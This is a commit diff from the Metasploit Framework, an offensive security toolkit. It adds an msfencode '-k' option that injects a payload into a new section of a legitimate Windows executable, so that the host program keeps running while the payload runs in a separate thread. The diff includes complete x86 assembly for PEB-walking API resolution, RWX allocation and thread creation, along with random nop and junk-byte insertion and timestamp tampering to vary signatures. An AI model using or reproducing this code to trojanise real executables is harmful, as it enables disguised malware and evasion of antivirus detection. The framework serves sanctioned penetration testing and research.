Closes #1244 with a caveat. If the template injected calls ExitProcess(), the payload will be killed. This means that -k is not compatible with our default executable

git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore
2010-03-24 15:55:24 +00:00
parent 756e00c3bb
commit 2efa31cfec
3 changed files with 323 additions and 12 deletions
+306 -4
View File
@@ -75,11 +75,88 @@ require 'metasm'
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
endjunk = true
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
pe.sections.each do |sec|
text = sec if sec.name == ".text"
break if text
endjunk = false if sec.contains_file_offset?(fsize-1)
end
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:insert])
if endjunk
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
end
#find first section file offset and free RVA for new section
free_rva = pe.hdr.opt.AddressOfEntryPoint
first_off = fsize
pe.sections.each do |sec|
first_off = sec.file_offset if sec.file_offset < first_off
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
end
#align free_rva
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
#See if we can add a section
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
raise RuntimeError, "Not enough room for new section header"
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
start_rva = free_rva
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
#pad to file alignment
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
#make new section header
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
new_sechead.v['Name'] = "\x00"*8 # no name
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
new_sechead.v['VirtualAddress'] = free_rva
new_sechead.v['SizeOfRawData'] = new_sec.length
new_sechead.v['PointerToRawData'] = fsize
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') do |fd|
exe = fd.read( File.size(opts[:template]) )
end
#New file header with updated number of sections and timedatestamp
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
new_opthead.v['AddressOfEntryPoint'] = start_rva
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
#new section header and new section
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
exe += new_sec
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
return exe
end
if(not text)
@@ -967,7 +1044,232 @@ require 'metasm'
res
end
end
end
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess,
# starting the code in a new thread, and finally jumping back to the next
# code to execute. block_offset is the offset of the next code from
# the start of this code
def self.win32_rwx_exec_thread(code, block_offset)
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp short next_mod ; Process this module
^
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne short goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
pushad ; Save registers
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,PAYLOAD_SIZE
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
; push dword [fs:eax]
; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
cnt_nop = 64
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if (cnt_nop > 0 and rand(4) == 0)
wrapper << "nop\n"
cnt_nop -= 1
end
if(cnt_nop > 0 and rand(16) == 0)
cnt_nop -= 2
cnt_jmp += 1
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+1) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
cnt_nop -= 1
end
wrapper << "autojump#{cnt_jmp}:\n"
end
wrapper << line + "\n"
end
#someone who knows how to use metasm please explain the right way to do this.
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
off = enc.offset_of_reloc('PAYLOAD_SIZE')
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
res[off,4] = [code.length].pack('V')
res[soff,4] = [block_offset - (soff + 4)].pack('V')
res
end
end
end
end
+15 -6
View File
@@ -29,6 +29,7 @@ $args = Rex::Parser::Arguments.new(
"-n" => [ false, "Dump encoder information" ],
"-h" => [ false, "Help banner" ],
"-x" => [ true, "Specify an alternate win32 executable template" ],
"-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ],
"-l" => [ false, "List available encoders" ])
#
@@ -95,6 +96,7 @@ delim = '_|_'
output = nil
ecount = 1
altexe = nil
inject = false
plat = nil
# Parse the argument and rock that shit.
@@ -136,6 +138,8 @@ $args.parse(ARGV) { |opt, idx, val|
encoder = val
when "-x"
altexe = val
when "-k"
inject = true
when "-h"
usage
else
@@ -153,6 +157,11 @@ if(not fmt and output)
end
end
if inject and not altexe
$stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies."
exit(1)
end
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create(
:module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ]
@@ -209,11 +218,11 @@ case cmd
when 'exe'
exe = nil
if(not arch or (arch.index(ARCH_X86)))
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe})
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
exe = Msf::Util::EXE.to_win64pe($framework, raw, {:template => altexe})
exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
end
if(not output)
@@ -246,7 +255,7 @@ case cmd
end
end
when 'vba'
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe})
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
vba = Msf::Util::EXE.to_exe_vba(exe)
if(not output)
$stdout.write(vba)
@@ -256,7 +265,7 @@ case cmd
end
end
when 'vbs'
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => false, :template => altexe})
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
if(not output)
$stdout.write(vbs)
else
@@ -265,7 +274,7 @@ case cmd
end
end
when 'loop-vbs'
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => true, :template => altexe})
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
if(not output)
$stdout.write(vbs)
else
@@ -274,7 +283,7 @@ case cmd
end
end
when 'asp'
asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:persist => false, :template => altexe})
asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
if(not output)
$stdout.write(asp)
else
+2 -2
View File
@@ -295,8 +295,8 @@ class Plugin::Nexpose < Msf::Plugin
end
site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template))
opt_credentials.each do |c|
site.site_config.addCredentials(c)
end
site.site_config.addCredentials(c)
end
site.saveSite()
print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose